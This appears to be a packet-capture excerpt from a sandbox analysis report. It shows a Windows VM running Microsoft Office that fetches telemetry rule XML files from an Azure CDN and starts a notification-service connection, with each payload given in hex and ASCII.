2024-11-20 00:18:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001841Z-185f5d8b95c95vpshC1NYC759c00000009d000000000mchx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:41 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001841Z-r1d97b99577tssmjhC1TEB8kan000000081g000000005vy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:41 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:41 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001841Z-r1d97b9957789nh9hC1TEBxha8000000087g000000008e5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 00:18:41 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:41 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001841Z-185f5d8b95ctl8xlhC1NYCn94g00000009kg000000008ue7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:41 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:41 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001841Z-185f5d8b95crl6swhC1NYC3ueg00000009pg00000000511q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:41 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:42 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:42 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001842Z-r1d97b99577gg97qhC1TEBcrf400000007zg000000004p7d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:42 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:42 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001842Z-185f5d8b95cmd8vfhC1NYC0g40000000059g00000000k2zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:42 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:42 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001842Z-r1d97b99577ndm4rhC1TEBf0ps000000082g00000000nm6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:42 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:42 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:42 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001842Z-185f5d8b95c68cvnhC1NYCfn7s00000009bg00000000u6y9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:42 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:42 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001842Z-1777c6cb754dqb2khC1TEBmk1s00000008qg00000000nhxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:42 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49840	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:42 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 68 65 36 37 59 32 30 51 6f 30 43 6f 51 38 53 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 32 30 38 62 32 38 37 36 39 38 30 34 38 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: he67Y20Qo0CoQ8Sm.1Context: 8d208b287698048f
2024-11-20 00:18:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 00:18:42 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 68 65 36 37 59 32 30 51 6f 30 43 6f 51 38 53 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 32 30 38 62 32 38 37 36 39 38 30 34 38 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 6d 68 68 57 34 74 50 64 72 45 42 38 4e 37 70 33 7a 38 52 55 2b 76 34 57 36 2b 79 30 77 69 4d 37 65 32 4f 64 46 4d 72 61 59 78 64 52 43 38 5a 56 32 69 51 73 77 2b 71 2b 69 4f 4e 69 6b 42 68 62 6b 31 62 4f 34 73 6d 37 62 6d 74 65 52 41 72 74 53 71 77 42 7a 65 6a 4e 41 57 57 64 57 48 36 4a 67 75 4e 39 74 6e 6e 44 62 4e 6e 51 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: he67Y20Qo0CoQ8Sm.2Context: 8d208b287698048f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVmhhW4tPdrEB8N7p3z8RU+v4W6+y0wiM7e2OdFMraYxdRC8ZV2iQsw+q+iONikBhbk1bO4sm7bmteRArtSqwBzejNAWWdWH6JguN9tnnDbNnQ
2024-11-20 00:18:42 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 68 65 36 37 59 32 30 51 6f 30 43 6f 51 38 53 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 32 30 38 62 32 38 37 36 39 38 30 34 38 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: he67Y20Qo0CoQ8Sm.3Context: 8d208b287698048f
2024-11-20 00:18:43 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
